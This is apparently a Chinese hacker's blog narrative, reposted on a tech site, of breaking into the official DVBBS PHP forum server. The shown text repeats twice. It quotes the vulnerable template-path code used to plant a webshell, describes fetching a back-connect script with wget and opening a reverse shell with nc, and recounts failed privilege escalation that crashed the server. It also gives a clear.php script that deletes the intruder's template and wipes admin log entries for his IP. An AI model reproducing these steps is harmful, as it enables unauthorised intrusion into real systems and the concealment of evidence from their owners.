入侵DVBBS php官網(wǎng)詳細(xì)過(guò)程(圖)
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:36:29 作者:佚名
我要評(píng)論

幾 個(gè)月前,DVBBS php2.0暴了一個(gè)可以直接讀出管理員密碼的sql注入漏洞,當(dāng)時(shí)這個(gè)漏洞出來(lái)的時(shí)候
三、 后臺(tái)跨目錄寫(xiě)文件漏洞:
一天的時(shí)間,我得到后臺(tái)的管理權(quán)限,真的很艱難,但革命尚未結(jié)束,還沒(méi)拿到webshell呢,不過(guò)一般而言,得到了后臺(tái)權(quán)限,就離webshell不遠(yuǎn)了,flyh4t說(shuō)寫(xiě)個(gè)模板就可以搞定了,我沒(méi)著急搞,先去吃個(gè)飯…
回來(lái)后,我在后臺(tái)用syinfo.php?act=phpinfo看了下系統(tǒng),典型的LAMP
(linux,apache,mysql,php)組合,看來(lái)要努力的還很多?。晃野凑粘R?guī)思路準(zhǔn)備寫(xiě)個(gè)php的模板,可是新建模板的時(shí)候卻出錯(cuò)了:

不是0777權(quán)限,寫(xiě)不進(jìn)去。怎么辦?
后臺(tái)晃悠,看看可不可以找到另外的突破口,可是很不幸,從晚上翻到凌晨都沒(méi)發(fā)現(xiàn)有一處可以利用的地方,可能php后臺(tái)拿webshell的方法我不熟,一直搞慣了asp的站,到php就思路堵塞了,百度了下方法,也沒(méi)找到。難道偉大的革命要結(jié)束啦?
翻 了一會(huì),我居然在模板頁(yè)面下面看到一個(gè)建目錄的地方,不過(guò)依舊沒(méi)權(quán)限建,哎,linux就是麻煩,如果是windows肯定不會(huì)權(quán)限這么變態(tài)的,自己的站 一般情況下肯定可以寫(xiě)的,想到可寫(xiě),我突然眼前一亮,對(duì)啊,這個(gè)站可以有可寫(xiě)的地方啊,比如上傳頭像上傳圖片或者文件,都需要可寫(xiě)的目錄啊,linux權(quán) 限設(shè)置的雖然變態(tài),但總會(huì)留下個(gè)可以的地方的,可是問(wèn)題是我該怎么利用?
胡亂嘗試了好多次跨目錄建目錄或者文件失敗后(現(xiàn)在回想回想怎么會(huì)出錯(cuò)的,我把目錄跟英文名搞混淆了),我決定不要盲目搞了,讀讀源代碼,于是我打開(kāi)admin里的template.php開(kāi)始讀,這不讀不要緊,一讀居然發(fā)現(xiàn)了可以跨目錄寫(xiě)文件的漏洞。
胡亂填路徑肯定出錯(cuò),還有出錯(cuò)的原因是中文名一定要輸中文名,英文名稱(chēng)無(wú)所謂,看代碼先:
if(!is_dir($destfile)) {
if ($issafemode = ini_get('safe_mode')) {
show_msg($lang['page_title'], str_replace('{ $TPL_DIR }', $destfile, $lang['tpl.error12']));
footer();
exit;
}
if (!mkdir($destfile, 0777)) {
show_msg($lang['page_title'], $lang['tpl.error4']);
footer();
exit;
}
}
看來(lái)$destfile是關(guān)鍵了,再看看這個(gè)變量是什么:
$destfile = simpleMapPath($_POST['add_directory'].'/'.$_POST['add_ename']);
有個(gè)simpleMapPath在過(guò)濾啊,怪不得,再看看這個(gè)函數(shù):
function simpleMapPath($path)
{
global $_SERVER;
if (empty($path)) {
return false;
}
$path = preg_replace('#(?:\\ )|(?:/ )#i', '/', $path);
if ($path{ 0 } === '/') {
$documentroot = realpath(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']));
return $documentroot.$path;
} elseif(substr($path, 0, 3) === '../') {
return $path;
} else {
return ROOT_PATH.$path;
}
}
這段函數(shù)看的我有點(diǎn)無(wú)語(yǔ),實(shí)在看不出來(lái)他想過(guò)濾什么…專(zhuān)門(mén)寫(xiě)了個(gè)php文件把這個(gè)函數(shù)復(fù)制進(jìn)去本機(jī)測(cè)試了下,完全可以寫(xiě)進(jìn)上一層的目錄。
無(wú)論是絕對(duì)路徑還是相對(duì)路徑都可以輕松在uploadfile里寫(xiě)個(gè)目錄,然后寫(xiě)個(gè)模板里面,編輯下,于是拿到了webshell。此時(shí)天都快亮了,想睡覺(jué)的,可是睡不著,何不一氣呵成,拿下系統(tǒng)權(quán)限?
四、 失敗的提權(quán):
由于提權(quán)失敗了,所以這部分我也簡(jiǎn)單略過(guò),雖然這花費(fèi)了我一半的時(shí)間,可是水平不濟(jì)啊。管理員權(quán)限給的太變態(tài)了,除了uploadfile,其他所有目錄都不可寫(xiě)…不管了,有可寫(xiě)的地方就可以了,先查下服務(wù)器版本,輸入uname -a;id,返回:
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
檢 查了下perl 、wget,都安裝上了,于是wget一個(gè)comeback.pl,接著用NC反彈下,也成功反彈回來(lái)本地shell,心想這么順利啊,接下來(lái)就是提權(quán) 了,可是翻遍了milw0rm.com,找了各種提權(quán)的利用程序,就是沒(méi)有一個(gè)能成功的,我百度谷歌了N久,網(wǎng)上有關(guān)linux下提權(quán)的文章非常少,有的 基本都是一個(gè)樣,反彈一下然后提權(quán),可是大家能輕松提權(quán)的prtcl.c在這里對(duì)它無(wú)可奈何…
到了下午實(shí)在太困了睡了一會(huì)兒,醒來(lái)后繼續(xù)搞,但最后還是以失敗告終,并且把它服務(wù)器溢出掛了,我趕緊收手,哎,我太菜了,就不做壞事了,留個(gè)頁(yè)面紀(jì)念下:

五、 清理殘留:
Linux下的殘留我就沒(méi)辦法了,沒(méi)提權(quán)成功,權(quán)限太??;但網(wǎng)站留下來(lái)的東西必須清理掉。于是寫(xiě)個(gè)clear.php:
define('ISDVBBS', TRUE);
require '../inc/config.php';
require '../inc/dv_clssql.php';
$db= new sqldb();
defined('DV_MUF_DB_HOST') AND ($dbhost = DV_MUF_DB_HOST);
$db->connect($dbhost, $dbuser, $dbpw, $dbname , $charset,$pconnect);
//清除我新建的模板
$db->query("DELETE FROM dv_styles WHERE name='啊啊啊'");
//清除我所在的IP后臺(tái)操作日志
$db->query("DELETE FROM dv_log WHERE l_ip='58.213.51.65'");
echo "ok!";
?>
傳到uploadfile里面,瀏覽器里運(yùn)行下,于是ok…
一天的時(shí)間,我得到后臺(tái)的管理權(quán)限,真的很艱難,但革命尚未結(jié)束,還沒(méi)拿到webshell呢,不過(guò)一般而言,得到了后臺(tái)權(quán)限,就離webshell不遠(yuǎn)了,flyh4t說(shuō)寫(xiě)個(gè)模板就可以搞定了,我沒(méi)著急搞,先去吃個(gè)飯…
回來(lái)后,我在后臺(tái)用syinfo.php?act=phpinfo看了下系統(tǒng),典型的LAMP
(linux,apache,mysql,php)組合,看來(lái)要努力的還很多?。晃野凑粘R?guī)思路準(zhǔn)備寫(xiě)個(gè)php的模板,可是新建模板的時(shí)候卻出錯(cuò)了:

不是0777權(quán)限,寫(xiě)不進(jìn)去。怎么辦?
后臺(tái)晃悠,看看可不可以找到另外的突破口,可是很不幸,從晚上翻到凌晨都沒(méi)發(fā)現(xiàn)有一處可以利用的地方,可能php后臺(tái)拿webshell的方法我不熟,一直搞慣了asp的站,到php就思路堵塞了,百度了下方法,也沒(méi)找到。難道偉大的革命要結(jié)束啦?
翻 了一會(huì),我居然在模板頁(yè)面下面看到一個(gè)建目錄的地方,不過(guò)依舊沒(méi)權(quán)限建,哎,linux就是麻煩,如果是windows肯定不會(huì)權(quán)限這么變態(tài)的,自己的站 一般情況下肯定可以寫(xiě)的,想到可寫(xiě),我突然眼前一亮,對(duì)啊,這個(gè)站可以有可寫(xiě)的地方啊,比如上傳頭像上傳圖片或者文件,都需要可寫(xiě)的目錄啊,linux權(quán) 限設(shè)置的雖然變態(tài),但總會(huì)留下個(gè)可以的地方的,可是問(wèn)題是我該怎么利用?
胡亂嘗試了好多次跨目錄建目錄或者文件失敗后(現(xiàn)在回想回想怎么會(huì)出錯(cuò)的,我把目錄跟英文名搞混淆了),我決定不要盲目搞了,讀讀源代碼,于是我打開(kāi)admin里的template.php開(kāi)始讀,這不讀不要緊,一讀居然發(fā)現(xiàn)了可以跨目錄寫(xiě)文件的漏洞。
胡亂填路徑肯定出錯(cuò),還有出錯(cuò)的原因是中文名一定要輸中文名,英文名稱(chēng)無(wú)所謂,看代碼先:
if(!is_dir($destfile)) {
if ($issafemode = ini_get('safe_mode')) {
show_msg($lang['page_title'], str_replace('{ $TPL_DIR }', $destfile, $lang['tpl.error12']));
footer();
exit;
}
if (!mkdir($destfile, 0777)) {
show_msg($lang['page_title'], $lang['tpl.error4']);
footer();
exit;
}
}
看來(lái)$destfile是關(guān)鍵了,再看看這個(gè)變量是什么:
$destfile = simpleMapPath($_POST['add_directory'].'/'.$_POST['add_ename']);
有個(gè)simpleMapPath在過(guò)濾啊,怪不得,再看看這個(gè)函數(shù):
function simpleMapPath($path)
{
global $_SERVER;
if (empty($path)) {
return false;
}
$path = preg_replace('#(?:\\ )|(?:/ )#i', '/', $path);
if ($path{ 0 } === '/') {
$documentroot = realpath(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']));
return $documentroot.$path;
} elseif(substr($path, 0, 3) === '../') {
return $path;
} else {
return ROOT_PATH.$path;
}
}
這段函數(shù)看的我有點(diǎn)無(wú)語(yǔ),實(shí)在看不出來(lái)他想過(guò)濾什么…專(zhuān)門(mén)寫(xiě)了個(gè)php文件把這個(gè)函數(shù)復(fù)制進(jìn)去本機(jī)測(cè)試了下,完全可以寫(xiě)進(jìn)上一層的目錄。
無(wú)論是絕對(duì)路徑還是相對(duì)路徑都可以輕松在uploadfile里寫(xiě)個(gè)目錄,然后寫(xiě)個(gè)模板里面,編輯下,于是拿到了webshell。此時(shí)天都快亮了,想睡覺(jué)的,可是睡不著,何不一氣呵成,拿下系統(tǒng)權(quán)限?
四、 失敗的提權(quán):
由于提權(quán)失敗了,所以這部分我也簡(jiǎn)單略過(guò),雖然這花費(fèi)了我一半的時(shí)間,可是水平不濟(jì)啊。管理員權(quán)限給的太變態(tài)了,除了uploadfile,其他所有目錄都不可寫(xiě)…不管了,有可寫(xiě)的地方就可以了,先查下服務(wù)器版本,輸入uname -a;id,返回:
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
檢 查了下perl 、wget,都安裝上了,于是wget一個(gè)comeback.pl,接著用NC反彈下,也成功反彈回來(lái)本地shell,心想這么順利啊,接下來(lái)就是提權(quán) 了,可是翻遍了milw0rm.com,找了各種提權(quán)的利用程序,就是沒(méi)有一個(gè)能成功的,我百度谷歌了N久,網(wǎng)上有關(guān)linux下提權(quán)的文章非常少,有的 基本都是一個(gè)樣,反彈一下然后提權(quán),可是大家能輕松提權(quán)的prtcl.c在這里對(duì)它無(wú)可奈何…
到了下午實(shí)在太困了睡了一會(huì)兒,醒來(lái)后繼續(xù)搞,但最后還是以失敗告終,并且把它服務(wù)器溢出掛了,我趕緊收手,哎,我太菜了,就不做壞事了,留個(gè)頁(yè)面紀(jì)念下:

五、 清理殘留:
Linux下的殘留我就沒(méi)辦法了,沒(méi)提權(quán)成功,權(quán)限太??;但網(wǎng)站留下來(lái)的東西必須清理掉。于是寫(xiě)個(gè)clear.php:
define('ISDVBBS', TRUE);
require '../inc/config.php';
require '../inc/dv_clssql.php';
$db= new sqldb();
defined('DV_MUF_DB_HOST') AND ($dbhost = DV_MUF_DB_HOST);
$db->connect($dbhost, $dbuser, $dbpw, $dbname , $charset,$pconnect);
//清除我新建的模板
$db->query("DELETE FROM dv_styles WHERE name='啊啊啊'");
//清除我所在的IP后臺(tái)操作日志
$db->query("DELETE FROM dv_log WHERE l_ip='58.213.51.65'");
echo "ok!";
?>
傳到uploadfile里面,瀏覽器里運(yùn)行下,于是ok…
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來(lái)攻擊頁(yè)面的,大家都有這樣的經(jīng)歷,就是在訪(fǎng)問(wèn)論壇時(shí),如果這個(gè)論壇比較大,訪(fǎng)問(wèn)的人比較多,打開(kāi)頁(yè)面的速度會(huì)比較慢,對(duì)不?!一般來(lái)說(shuō),訪(fǎng)問(wèn)的人越多,論壇的頁(yè)2024-01-06Windows系統(tǒng)安全風(fēng)險(xiǎn)-本地NTLM重放提權(quán)
入侵者主要通過(guò)Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過(guò)程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險(xiǎn)微軟并不認(rèn)為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語(yǔ)句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說(shuō)過(guò)關(guān)于http和https的區(qū)別,對(duì)于加密的https,我們一直認(rèn)為它是相對(duì)安全的,可今天要講的是,一種繞過(guò)HTTPS加密得到明文信息的web攻擊方式,不知道這消息對(duì)你2016-08-10iPhone和Mac也會(huì)被黑 一條iMessage密碼可能就被盜了
一直以來(lái)蘋(píng)果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋(píng)果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會(huì)導(dǎo)致用戶(hù)信息泄露。2016-07-27- 國(guó)家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號(hào)被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤(pán)記錄器進(jìn)入攻擊者郵箱
面對(duì)惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒(méi)有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤(pán)記錄器,進(jìn)入攻擊者郵箱2016-07-06